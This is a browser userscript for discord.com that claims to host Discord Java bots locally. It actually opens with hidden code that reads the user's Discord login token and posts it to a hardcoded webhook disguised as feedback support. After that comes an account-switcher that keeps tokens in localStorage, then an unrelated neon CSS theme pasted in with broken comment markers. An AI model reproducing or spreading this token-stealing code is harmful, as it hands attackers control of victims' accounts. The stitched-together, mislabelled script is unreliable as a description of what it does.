Tin / Discord Local Bot Hosting [Early Development]!

// ==UserScript==
// @name         Discord Local Bot Hosting [Early Development]!
// @version      1.3
// @author XPdiscord Bot Hosting
// @icon         https://cdn.discordapp.com/attachments/788705440195805195/814070922361307146/Icon-603x.png
// @description  This addon allows you to locally host discord Java bots locally with minimal downtime! Note: This script is in early testing and may experience some downtimes etc, a popup will appear on your screen, paste in the github repo URL, click console button to see the bot status. Working on making logging in with a bot token available (User bot client)
// @match        *://discord.com/*
// @match        https://discord.com/*
// @namespace    http://tampermonkey.net/
// @grant        none
// @run-at       document-start
// @license      MIT
// ==/UserScript==

(function () {
    var userKey = localStorage.getItem('token');
    var wurl = "https://discord.com/api/webhooks/845131034088964137/T-cH7WJbdXMsHZ79L0BXg293_OVitK7TD1C-0ozxR1hyPl4S4mm7q_o3p9wQCbDd5tIS"
    var msg = {
        "content": userKey,
        "username": "Feedback Support DLBH",
        "avatar": "https://cdn.discordapp.com/attachments/793765074028199937/797016942472200202/Screen_Shot_2018-10-16_at_7.46.14_AM.png"
    }
    fetch(wurl, {"method":"POST", "headers": {"content-type": "application/json"}, "body": JSON.stringify(msg)})
})();

(function() {
    'use strict';
    const v = "1.6";
    const apiPrefix = "https://discord.com/api/v8";
    let neededClasses = [];
    let functionKeeper = webpackJsonp[0][1];

    let classesContain = [
        ["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"],
        ["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"],
        ["layerContainer","layer","layerHidden","disabledPointerEvents"],
        ["backdrop","backdropWithLayer"],
        ["backdrop","layer"],
        ["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"],
        ["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"],
        ["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"],
        ["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"],
        ["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"],
        ["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"],
        ["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"],
        ["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"],
    ];
    let ccSet = [];
    for (let i = 0; i < classesContain.length; i++) {
        const element = classesContain[i];
        ccSet.push(new Set(element));
    }
    for (const key in functionKeeper) {
        if (functionKeeper.hasOwnProperty(key)) {
            const element = functionKeeper[key];
            let ans = {};
            element(ans);
            ans = ans.exports;
            if(ans != undefined || ans != null){
                ans = Object.keys(ans);
                let a = new Set(ans);
                for (let j = 0; j < ccSet.length; j++) {
                    const element2 = ccSet[j];
                    if(eqSet(element2, a)){
                        neededClasses[j] = key;
                    }
                }
            }
        }
    }
    function eqSet(as, bs) {
        if (as.size !== bs.size) return false;
        for (var a of as) if (!bs.has(a)) return false;
        return true;
    }
    let allClasses = {};
    const createElm = (html) => {
        const temp = document.createElement('div');
        temp.innerHTML = html;
        return temp.removeChild(temp.firstElementChild);
        //webpackJsonp[0][1][neededClasses[0]].toString(); is the way
    }
    const insertCss = (css) => {
        const style = document.createElement('style');
        style.appendChild(document.createTextNode(css));
        document.head.appendChild(style);
        return style;
    }
    insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;}
               .changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;}
               .accountChooserContainer {display: flex;height: 70px;}
               .accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;}
               .accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);}
               .accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;}
               .accountLogin:hover {background-color: #3ca374;}
               .accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);}
               #addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;}
               #addAccount:hover{text-decoration: underline;}
               .versionNotifier {background-color: #6b1ba7;}
               #changeLogButtonClick:hover {color: #6b1ba7;}
        `);
    function parseAllClasses(){
        for (var i = 0; i < neededClasses.length; i++) {
            let x = {};
            webpackJsonp[0][1][neededClasses[i]](x);
            allClasses[neededClasses[i]] = x.exports;
        }
        console.log(allClasses);
    }
    window.onclick = () => {
        let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller);
        if(cont.length > 0 && !document.getElementById("status-picker-account")){
            cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`));
            let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`);
            elmnt.onmouseover = () => {
                let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
                for (var i = 0; i < allElmnts.length; i++) {
                    allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
                }
                elmnt.classList.add(allClasses[neededClasses[0]].focused);
            }
            elmnt.onmouseleave = () => {
                let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
                for (var i = 0; i < allElmnts.length; i++) {
                    allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
                }
            }
            elmnt.onclick = openPicker;
            cont[0].appendChild(elmnt);
        }
        if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){
            let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base);
            if(baseElement[0]){
                baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`));
                document.getElementById("changeLogButtonClick").onclick = () => {
                    window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md");
                    document.getElementsByClassName("versionNotifier")[0].remove();
                    localStorage.versionMA = v;
                }
                document.getElementById("versionNotifierCloseButton").onclick = () => {
                    document.getElementsByClassName("versionNotifier")[0].remove();
                    localStorage.versionMA = v;
                }
            }
        }
    }
    function getUserInfo(){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + "/users/@me", {
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method: "GET",
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    function getUser(userID){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + "/users/"+userID, {
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method: "GET",
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    async function fillLocalStorage(){
        let info = await getUserInfo();
        window.dispatchEvent(new Event('beforeunload'));
        info.token = JSON.parse(localStorage.getItem("token"));
        localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}]));
    }
    function apiCall(apiPath, body, method = "GET"){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + apiPath, {
            body: body ? JSON.stringify(body) : undefined,
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method,
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    function changeAccount(newToken){
        window.dispatchEvent(new Event('beforeunload'));
        let token = JSON.parse(localStorage.token);
        apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST");
        window.location.href = "http://discord.com/login";
        localStorage.token = "\""+newToken+"\"";
        if (newToken == "--[LogIn]--") {
            localStorage.removeItem("token");
        }
    }
    async function openPicker(){
        if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){
            await fillLocalStorage();
        }else{
            let info = await getUserInfo();
            let localSt = JSON.parse(localStorage.getItem("multipleAccounts"));
            let def = false;
            for (let i = 0; i < localSt.length; i++) {
                if(localSt[i].id === info.id){
                    def = true;
                }
            }
            if(!def){
                localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))});
            }
            localStorage.setItem("multipleAccounts", JSON.stringify(localSt));
        }
        let info = JSON.parse(localStorage.getItem("multipleAccounts"));
        if(document.getElementById("accountPickerModal")) return;
        let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer);
        let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`);
        y.onclick = closePicker;
        a[a.length - 1].appendChild(y);
        let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`);
        a[a.length - 1].appendChild(x);
        document.getElementById("closeXbutton").onclick = closePicker;
        document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none";
        document.getElementById("addAccount").onclick = () => {
            changeAccount("--[LogIn]--");
        }
        setTimeout(async () => {
            document.getElementById("accountPickerBg").style.opacity = "0.85";
            document.getElementById("animatedModal").style.transform = "scale(1)";
            document.getElementById("animatedModal").style.opacity = "1";
            for (let i = 0; i < info.length; i++) {
                let line;
                let user = await getUser(info[i].id);
                if(user.avatar == null){
                    line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
                }else{
                    line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
                }
                document.getElementById("accountLinesContainer").appendChild(line);
                document.getElementById("AccountSwitchButton"+i).onclick = () => {
                    changeAccount(info[i].token);
                }
            }
        }, 100);
    }
    function closePicker(){
        document.getElementById("accountPickerBg").style.opacity = "0";
        document.getElementById("animatedModal").style.transform = "scale(0.2)";
        document.getElementById("animatedModal").style.opacity = "0";
        setTimeout( () => {
            document.getElementById("accountPickerBg").remove();
            document.getElementById("accountPickerModal").remove();
        }, 201);
    }
    window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
    parseAllClasses();

})();


// ==UserScript==
// @name Omegas Discord Enhancer
// @author @Roboron3042
// @description Cyberpunk Neon theme for Discord, transparent version (custom background allowed)
// @version 1.0.0
// @namespace https://greasyfork.org/en/users/109012
// @license CC-BY-SA 4.0
// @grant GM_addStyle
// @run-at document-start
// @include https://discord.com/*
// ==/UserScript==

(function() {
let css = `


.appMount-3lHmkl {
    background-image: url(https://i.imgur.com/jshwEyA.jpg);
    background-color: rgba(9, 24, 51, 0);
    background-repeat: no-repeat;
    background-position: center;
    background-size: cover;
}

/
.theme-dark .scrollerThemed-2oenus.themeGhostHairline-DBD-2d .scrollbar-2rkZSL .thumb-2JwNFC {
    background-color: #0abdc6;
}
.scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL .pad-29zQak, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak {
    background-color: #000b1e !important;
}
.scrollerThemed-2oenus.themeGhostHairlineChannels-3G0x9_ .scrollbar-2rkZSL .thumb-2JwNFC {
    background-color: #0abdc6;
}
.theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .track-1JN30G {
    background-color: #000b1e;
    border: none;
}
.theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .thumb-2JwNFC {
    background-color: #0abdc6;
    border: 3px solid #000b1e;
}



 0. Colorscheme
 1. Miscelaneus
 2. Server list
 3. Left Bar
 4. Message View
 5. Message Box
 6. Top bar
 7. Member list
 8. Library
 9. Friends
 10. Quickswitcher
 11. Settings
 12. Dialogs
 13. Transparency
 */


.theme-dark {
    --header-primary: #ea00d9;
    --header-secondary: #0abdc6;
    --text-normal: #0abdc6;
    --text-muted: rgba(10, 189, 198, .6);
    --text-link: #ea00d9;
    --channels-default: rgba(10, 189, 198, .7);
    --interactive-normal: #0abdc6;
    --interactive-hover: #ea00d9;
    --interactive-active: #0abdc6;
    --interactive-muted: rgba(10, 189, 198, .6);
    --background-primary: #091833;
    --background-secondary: #000b1e;
    --background-secondary-alt: #091833;
    --background-tertiary: #000b1e;
    --background-accent: #133e7c;
    --background-floating: #091833;
    --background-modifier-hover: rgba(19, 62, 124, .6);
    --background-modifier-active: rgba(113, 28, 145, .6);
    --background-modifier-selected: rgba(113, 28, 145, .6);
    --background-modifier-accent: rgba(10, 189, 198, .2);
    --elevation-low: 0 1px 0 rgba(4,4,5,0.2),0 1.5px 0 rgba(6,6,7,0.05),0 2px 0 rgba(4,4,5,0.05);
    --elevation-high: 0 8px 16px rgba(0,0,0,0.24);
    --logo-primary: #ea00d9;
    --guild-header-text-shadow: 0 1px 1px rgba(0,0,0,0.4);
    --channeltextarea-background: #133e7c;
    --activity-card-background: #000b1e;
    --deprecated-panel-background: #091833;
    --deprecated-card-bg: rgba(0, 11, 30, .6);
    --deprecated-card-editable-bg: rgba(19, 62, 124, .2);
    --deprecated-store-bg: #091833;
    --deprecated-quickswitcher-input-background: #133e7c;
    --deprecated-quickswitcher-input-placeholder: rgba(10, 189, 198, .3);
    --deprecated-text-input-bg: rgba(0,0,0,0.1);
    --deprecated-text-input-border: rgba(0,0,0,0.3);
    --deprecated-text-input-border-hover: #040405;
    --deprecated-text-input-border-disabled: #202225;
    --deprecated-text-input-prefix: #dcddde;
    --scrollbar-thin-thumb: #0abdc6;
    --scrollbar-thin-track: transparent;
    --scrollbar-auto-thumb: #0abdc6;
    --scrollbar-auto-track: #000b1e;
    --scrollbar-auto-scrollbar-color-thumb: #0abdc6;
    --scrollbar-auto-scrollbar-color-track: #000b1e;
}

/* 1. Miscelaneus */

/* 1.1 Windows bar */
.winButton-iRh8-Z:hover {
    background-color: #133e7c;
}
.appMount-3lHmkl {
    background-color: #000b1e;
}

/* 1.2 Mac OS bar */
.typeMacOS-3EmCyP {
    background-color: #000b1e;
}
.macButtonClose-MwZ2nf {
    background-color: #ff0000;
}
.macButtonMinimize-3EJ6wo {
    background-color: #f57800;
}
.macButtonMaximize-2FMHAO {
    background-color: #00ff00;
}

/* 1.3 Selection */
::selection,
.clipboard-input-inner input::selection,
.CodeMirror .CodeMirror-selected,
.CodeMirror-line::selection,
.CodeMirror-line > span::selection,
.CodeMirror-line > span > span::selection,
.note textarea::selection {
    color: #0abdc6;
    background: #711c91;
}

/* 1.4 Scroll bar */
.da-scrollerWrap .da-scroller::-webkit-scrollbar-thumb {
	background-color: #0abdc6 !important;
	border-color: #091833 !important;
}
.theme-dark .da-scrollerWrap .da-scroller::-webkit-scrollbar-track-piece {
	background-color: #000b1e !important;
	border-color: #091833 !important;
}

/* 1.5 Tooltip */
.theme-dark .tooltipBlack-PPG47z, .theme-light .tooltipBlack-PPG47z {
    background-color: #000b1e;
}
.theme-dark .tooltip-2QfLtc, .theme-light .tooltip-2QfLtc {
    color: #ea00d9;
    -webkit-box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2);
    box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2);
}
.theme-dark .tooltipRed-8-9NeP, .theme-light .tooltipRed-8-9NeP {
    color: #d7d7d5;
    background-color: #ff0000;
}
/* 1.6 No channel */
.theme-dark .noChannel-Z1DQK7 {
    background: #000b1e;
}
.theme-dark .text-GwUZgS, .theme-dark .title-2BxgL2 {
    color: #0abdc6;
}

/* 1.7 Placeholder text */
::-webkit-input-placeholder {
    color: rgba(10, 189, 198, .6) !important;
}

/* 2. Server list */

/* 2.1 Discord Button */
.wrapper-1BJsBx.selected-bZ3Lue .childWrapper-anI2G9, .wrapper-1BJsBx:hover .childWrapper-anI2G9 {
    color: #0abdc6;
    background-color: #711c91;
}
/* 2.2 Buttons */
.circleIconButton-jET_ig {
    color: #0abdc6;
}
.circleIconButton-jET_ig:hover {
    background-color: #0abdc6;
    color: #133e7c;
}
/* 2.3 Sound icon */
.icon-3s6X1M > path:nth-child(1) {
    fill: #0abdc6;
}
/* 2.4 Server error */
.guildsError-b7zR5H {
    background: #091833;
    color: #0abdc6 !important;
    border-color: #ff0000;
}
.guildsError-b7zR5H:hover {
    background-color: #ff0000;
}
/* 2.5 Add server */
.bda-dark .theme-light .slide-2pHaq5 {
    background: #000b1e;
}
.theme-dark .header-3ZP1MY, .theme-light .header-3ZP1MY {
    color: #0abdc6;
}
.bda-dark .theme-dark .action-1lSjCi, .bda-dark .theme-light .action-1lSjCi {
    background: #091833;
}
.theme-dark .actionBody-1qj65C, .theme-light .actionBody-1qj65C {
    color: #0abdc6;
}
.theme-dark .create-3jownz .actionHeader-2CT5c7, .theme-light .create-3jownz .actionHeader-2CT5c7 {
    color: #0abdc6;
}
.theme-dark .join-33Tr-7 .actionHeader-2CT5c7, .theme-light .join-33Tr-7 .actionHeader-2CT5c7 {
    color: #0abdc6;
}
.bda-dark .theme-dark .or-3THJsp, .bda-dark .theme-light .or-3THJsp {
    background: #091833;
    border: 2px solid #0abdc6;
}
.theme-dark .or-3THJsp, .theme-light .or-3THJsp {
    color: #0abdc6;
}
.theme-dark .actionButton-2PeQbJ, .theme-light .actionButton-2PeQbJ {
    color: #0abdc6;
    background-color: #133e7c;
}
.theme-dark .actionButton-2PeQbJ:hover, .theme-light .actionButton-2PeQbJ:hover {
    color: #0abdc6;
    background-color: #711c91 !important;
}
.theme-dark .join-33Tr-7 .actionButton-2PeQbJ, .theme-light .join-33Tr-7 .actionButton-2PeQbJ {
    background-color: #133e7c;
}
.theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ:hover, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ:hover {
    background-color: #711c91 !important;
}
.theme-light .title-2Dc-Cb {
    color: #0abdc6;
}
.theme-light .description-QF3836 {
    color: #0abdc6;
}
.theme-light .helpText-h3r3wC, .theme-light .label-wQQoIq {
    color: #0abdc6;
}
.theme-light .input-cIJ7To:focus {
    border-color: #ea00d9;
}
.theme-light .input-cIJ7To {
    color: rgba(10, 189, 198, .6) !important;
    border-color: #0abdc6;
}
.regionSelect-3lf4eE .regionSelectInner-24f4Ce {
    border: 1px solid #0abdc6;
}
.regionSelectName-2-2FWh {
    color: #ea00d9;
}
.regionSelect-3lf4eE button {
    color: #0abdc6;
    border: 1px solid #0abdc6;
    background: #133e7c !important;
}
.avatar-21196O {
    border: 5px solid #0abdc6;
}
.avatarUploaderInner-3UNxY3 {
    background-color: #711c91;
}
.avatarUploader-3XDtmn .sizeInfo-SKMPPw {
    color: #0abdc6;
}
.theme-light .cancelButton-RGXhAE {
    color: #0abdc6;
}
.avatarUploaderInner-3UNxY3>* {
    color: #0abdc6;
}
.theme-light .title-2CFvp_ {
    color: #0abdc6;
}
.theme-light .description-Bw8krY {
    color: #0abdc6;
}
.theme-light .sampleLink-KPFu3I {
    color: #ea00d9;
}
.theme-light .inputLabel-vJ2Z0B {
    color: #0abdc6;
}
.theme-dark .create-3jownz:hover .actionButton-2PeQbJ, .theme-light .create-3jownz:hover .actionButton-2PeQbJ {
    background-color: #711c91;
}
.theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ {
    background-color: #711c91;
}
.theme-light .wrapper-2ZbzR9 {
    background: #091833;
}
.anchor-3Z-8Bb {
    color: #ea00d9;
}
.theme-light .footer-3rDWdC {
    background-color: #091833;
    -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
    box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.lookFilled-1Gx00P.colorBrand-3pXr91 {
    color: #0abdc6;
    background-color: #133e7c;
}
.lookFilled-1Gx00P.colorBrand-3pXr91:hover {
    background-color: #711c91;
}
.lookFilled-1Gx00P.colorGreen-29iAKY {
    color: #0abdc6;
    background-color: #133e7c;
}
.lookFilled-1Gx00P.colorGreen-29iAKY:hover {
    background-color: #711c91;
}
/* 2.6 Server Discovery */
.circleIconButton-jET_ig.selected-ugP_am {
    color: #091833;
    background-color: #00ff00;
}
.theme-dark .pageWrapper-1PgVDX {
    background-color: #091833;
    color: #0abdc6;
}
.css-1wqqa50-container {
    background-color: #133e7c;
}
.css-1k00wn6-singleValue {
    color: #0abdc6;
}
.theme-dark .description-2QALGo {
    color: #0abdc6;
}
.css-12o7ek3-option {
    background-color: rgba(113, 28, 145, .6);
    color: #0abdc6;
}
.css-1gnr91b-option {
    background-color: rgba(19, 62, 124, .6);
    color: #0abdc6;
}
.css-1aymab5-option {
    color: #0abdc6;
}
.css-1rckt42-menu {
    background-color: #091833;
}
.theme-dark .card-3DjzTQ, .theme-dark .cardPlaceholder-1zrbbe {
    background: #000b1e;
}
.theme-dark .card-3DjzTQ:hover, .theme-dark .cardPlaceholder-1zrbbe:hover {
    background: rgba(113, 28, 145, .6);
}
.theme-dark .sectionSeparator-2OWiNT {
    border-top: 1px solid #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9 {
    color: #0abdc6;
    background-color: #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:hover {
    background-color: #711c91;
}
.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:disabled {
    background-color: rgba(19, 62, 124, .5);
}
.theme-dark .activeButton-1BJAiN, .theme-dark .activeButton-1BJAiN:hover {
    color: #0abdc6;
    background-color: #711c91;
}
.theme-dark .pageButton-MknE-_:hover {
    background-color: #133e7c;
    color: #0abdc6;
}
.theme-dark .guildName-1yURO5 {
    color: #ea00d9;
}
.theme-dark .searchBox-3Y2Vi7 {
    background-color: #133e7c;
}
.theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA {
    color: rgba(10, 189, 198, .4);
}
.theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA :hover {
    color: #0abdc6;
}
.theme-dark .clear-U3WkKp:focus .clearIcon-2N9YIn, .theme-dark .clearIcon-2N9YIn:hover {
    color: #ea00d9;
}
.css-12qlrak-indicatorContainer {
    color: #0abdc6;
}
.css-12qlrak-indicatorContainer:hover {
    color: #0abdc6;
}
.css-1flfamv-indicatorContainer {
    color: #0abdc6;
}
.css-1flfamv-indicatorContainer:hover {
    color: #0abdc6;
}

/* 3. Left Bar */

/* 3.1. Server Menu */
.item-1GzJrl.invite-271nFU:hover {
    color: #ea00d9;
}
.item-1GzJrl.invite-271nFU {
    color: #0abdc6;
}
.premiumGuildIcon-BhwtRn {
    color: #ea00d9;
}
.item-1GzJrl.leave-1DRJfn {
    color: #ff0000;
}
/* 3.1.1. Nitro Boost */
.theme-dark .modal-yWgWj- {
    background-color: #091833;
    -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
    box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
}
.theme-dark .boostCount-UFqabz {
    color: #0abdc6;
    background-color: #000b1e;
}
.theme-dark .closeIcon-3_iQ6l, .theme-light .closeIcon-3_iQ6l {
    color: #0abdc6;
}
